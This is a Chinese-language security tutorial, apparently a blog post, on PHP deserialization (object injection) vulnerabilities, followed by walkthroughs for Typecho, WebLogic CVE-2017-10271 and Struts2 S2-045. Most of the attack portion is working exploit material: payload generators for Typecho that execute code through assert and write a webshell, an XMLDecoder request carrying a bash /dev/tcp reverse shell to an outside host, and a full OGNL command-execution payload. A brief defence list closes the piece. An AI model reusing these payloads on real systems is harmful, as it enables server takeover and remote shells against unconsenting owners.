问题:为什么要序列化?
序列化,“将对象的状态信息转换为可以存储或传输的形式的过程”,这种形式大多为字节流、字符串、Json 串。在序列化期间内,将对象当前状态写⼊到临时或永久性的存储区。以后,就可以通过从存储区中读取或还原(反序列化)对象的状态,重新创建该对象。简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台安全的进行通信。
以PHP 语言为例。
对象 – 序列化 --> 字符串、Json – 反序列化 --> 对象
JSON 数据是数据的一种表达形式,与Python 中的字典类似。
// json.php
<?php
$stu = array(
'name' => 'wuhu',
'age' => 18,
'sex' => true,
'score' => 89.9
);
// echo $stu; //只能输入文本字符串
// var_dump($stu);
$stu_json = json_encode($stu);
echo $stu_json;
echo "
";
$stu_json = isset($_GET['stu'])?$_GET['stu']:$stu_json;
$stu = json_decode($stu_json);
var_dump($stu);
?>
说明:
验证:
?stu={"name":"wuhu","age":19,"sex":true,"score":89.9}
定义一个类
// stu.class.php
class Stu{
public $name;
public $age;
public $sex;
public $score;
}
?>
创建一个对象,并对该对象进行序列化操作,将对象转化为可以存储、传输的字符串。
// serialize.php
include "./stu.class.php";
$stu1 = new Stu(); //创建一个名为“Stu”的对象实例。
//给 $stu1 对象的属性赋值
$stu1 -> name = "wuhu"; //$stu1.name
$stu1 -> age = 24;
$stu1 -> sex = true;
$stu1 -> score = 99.9;
// echo $stu1;
// var_dump($stu1);
$_stu1 = serialize($stu1);
echo $_stu1;
?>
说明:
serialize()
函数可以将对象序列化为字符串,同时保留对象的属性值和结构。序列化后的字符串:
O:3:"Stu":4:{s:4:"name";s:4:"wuhu";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.9;}
将字符串转化为对象。
// unserialize.php
include "./stu.class.php";
$stu1_ser = 'O:3:"Stu":4:{s:4:"name";s:4:"wuhu";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.9;}';
$stu1_obj = unserialize($stu1_ser);
var_dump($stu1_obj);
?>
如果反序列化字符串,Web 用户可以控制,则造成对象注入。
// $stu1_seria = 'O:3:"Stu":4:{s:4:"name";s:4:"wuhu";s:3:"age";i:24;s:3:"sex";b:1;s:5:"score";d:99.9;}';
$stu1_ser = $_GET['wuhu'];
$stu1_obj = unserialize($stu1_ser);
var_dump($stu1_obj);
?>
页面效果
我们可以操控序列化后的字符串,使其变成我们想让其输出的样子。
PHP 的反序列化漏洞也叫PHP 对象注⼊,是一个⾮常常⻅的漏洞,这种漏洞在某些场景下虽然有些难以利⽤,但是一旦利⽤成功就会造成非常危险的后果。
创建vul.class.php文件在里面创建一个类
// vul.class.php
class Vul{
public $str = "wuhu";
function __destruct(){
//echo "This is function __destruct()";
@eval($this -> str);
}
}
?>
创建一个test.php文件在里面创建一个Vul对象
// test.php
include './vul.class.php';
$s = new Vul();
echo serialize($s);
echo "
";
$_s = $_GET['s_ser'];
$s = unserialize($_s);
var_dump($s);
?>
序列化代码
O:3:"Vul":1:{s:3:"str";s:4:"wuhu";}
参数说明:
O
:表示序列化后的数据是一个对象(object)。
3
:表示该对象的类名Vul
的字节数(即类名长度为 3)。
:"Vul"
:类名,表示该对象属于名为Vul
的类。
1
:表示该对象有 1 个属性。
{}
:对象的属性和值的集合,用大括号括起来。
s:3:"str"
: 属性名为str
,表示一个字符串类型。
s
: 表示后面的值是一个字符串。3
: 表示该字符串的长度为 3 个字符。:"str"
: 属性的值为 “str”。
s:4:"wuhu"
: 属性名str
的值为 “wuhu”,也是一个字符串类型。
s
: 表示后面的值是一个字符串。4
: 表示该字符串的长度为 4 个字符。:"wuhu"
: 属性值为 “wuhu”。
反序列化执行代码
?s_ser=O:3:"Vul":1:{s:3:"str";s:10:"phpinfo();";}
解析:
__destruct():会被对象自动调用。
以 __ 开头的函数,是PHP 中的魔术方法。类中的魔术⽅法,在特定情况下会自动调⽤。即使魔术方法在类中没有被定义,也是真实存在的。
魔术方法 | 触发条件 |
---|---|
__construct() | 在创建对象时⾃动调⽤,构造函数 |
__destruct() | 在销毁对象时⾃动调⽤,析构函数 |
__call();
__callStatic();
__get();
__set();
__isset();
__unset();
__sleep();
__wakeup(); # 创建对象之前触发。
__toString();
__invoke();
__set_state();
__clone();
__debuginfo();
漏洞形成的根本原因就是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、GetShell 等一系列不可控的后果。反序列化漏洞并不是PHP 特有的,也存在于Java、Python 语言中,其原理基本相同。
补充
提交O:3:“Vul”:1:{s:3:“str”;s:4:“wuhu”;},页面显示效果如下:
提交O:3:“Stu”:4:{s:4:“name”;s:4:“wuhu”;s:3:“age”;i:24;s:3:“sex”;b:1;s:5:“score”;d:99.9;},页面显示效果如下:
发现这里Object中的类名变成了__PHP_Incomplete_Class。
原先的Vul中只有一个变量,选择添加一个变量O:3:“Vul”:2:{s:3:“str”;s:4:“wuhu”;s:3:“age”;i:24;},查看页面显示效果:
要求:反序列后的字符串要符合要求,变量没有要求,但是类名字有要求。也就是说提交的反序列化字符串,要想让程序可以理解,需要保障类的名字必须与程序中定义的一致!
class Typecho_Feed{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items;
public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
}
class Typecho_Request{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params['screenName'] = 'phpinfo()';
$this->_filter[0] = 'assert';
}
}
$exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
);
echo base64_encode(serialize($exp)); //将序列化字符串做base64编码操作
?>
注意:攻击的对象是Typecho,所以构造的类,必须是Typecho应用中存在的类的名字Typecho_Feed、Typecho_Request。
浏览器中访问该文件
会生成的base64编码后序列化后的字符串
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
这里通过POST方式提交攻击代码。
攻击代码的效果是由assert执行phpinfo(),页面效果
构造payload:
class Typecho_Request
{
private $_params = array();
private $_filter = array();
public function __construct()
{
$this->_params['screenName'] = 'file_put_contents(\'wuhu.php\',\'\')';
$this->_filter[0] = 'assert';
}
}
class Typecho_Feed
{
private $_type;
private $_items = array();
public $dateFormat;
public function __construct()
{
$this->_type = 'ATOM 1.0';
$item['author'] = new Typecho_Request();
$this->_items[0] = $item;
}
}
$x = new Typecho_Feed();
$a = array(
'adapter' => $x,
'prefix' => 'typecho_'
);
echo ""
;
print_r($a);
echo "
";
echo serialize($a)."将上述代码复制到文件并保存然后浏览器中访问该文件
修改cookie前:
修改Cookie后:
蚁剑进行连接
Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞。
说明 | 内容 |
---|---|
漏洞编号 | CVE-2017-10271 |
漏洞名称 | Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞 |
漏洞评级 | 高危 |
影响范围 | 10.3.6.0.0 12.1.3.0.0 12.2.1.1.0 12.2.1.2.0 |
漏洞描述 | Veblogic在wls-wsat.war中的VLS Security组件对外提供WebService服务, 其中使用了XMLDecoder来解析用户传入的XML数据, 在解析的过程中出现反序列化漏洞,导致可执行任意命令。 |
修复方案 | 打补丁,上设备,升级组件 |
Oracle Fusion中间件的Dracle WebLogic Server组件中的漏洞(子组件:WLS Security)。受影响的支持版本为10.3.6.0.0、12.1.3.0.0、12.2.1.1.0和12.2.1.2.0。易被攻击的漏洞允许未经身份验证的攻击者通过T3进行网络访问,从而危及Oracle WebLogic Server。成功攻击此漏洞可能导致接管Oracle WebLogic Server。
CVSS3.0基础分数7.5(可用性影响)。
CVSS矢量:(CVSS:3.O/AV:N/AC:L/PR:N/U:N/S:U/C:N/:N/A:H)。
Weblogic 10.3.6.0.0
Weblogic 12.1.3.0.0
Weblogic 12.2.1.1.0
Weblogic 12.2.1.2.0
启动环境
访问页面
在URL中输入http://127.0.0.1:7001/console
,访问成功
使用扫描工具nacs
sudo ./nacs -h 192.168.188.185 -pa 7001
扫描工具:0xn0ne/weblogicScanner: weblogic 漏洞扫描工具。
使用方法
python3 ws.py -t 192.168.188.185
访问页面
/wls-wsat/CoordinatorPortType
使用bp抓取数据包
发送到重发器上,将其修改为POST请求
然后发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误)
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
/bin/bash
-c
bash -i >& /dev/tcp/10.0.0.1/21 0>&1
例如错误如下:
由于提交的是XML所以修改Content-Type值为text/xml
利用DNSLOG平台,进行无回显RCE漏洞验证。
pz9kgu.dnslog.cn
修改数据包,进行URL编码,然后进行发送
页面显示结果
然后使用反弹shell
kali先开启监听
反弹成功
使用nacs扫描漏洞
sudo ./nacs -h 192.168.188.185 -pa 9080
扫描到了该漏洞
POST / HTTP/1.1
Host: localhost:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,es;q=0.6
Connection: close
Content-Length: 0
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
使用bp抓包
右键发送到重发器,然后修改为POST请求
然后将漏洞利用代码复制到Content-Type中,发包即可
233*233=54289漏洞存在。
输入我们的漏洞利用代码:
"%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
还有如下案例:
漏洞防御:
升级组件到最新版本
黑白名单过滤敏感字符
禁用反序列化功能
部署安全设备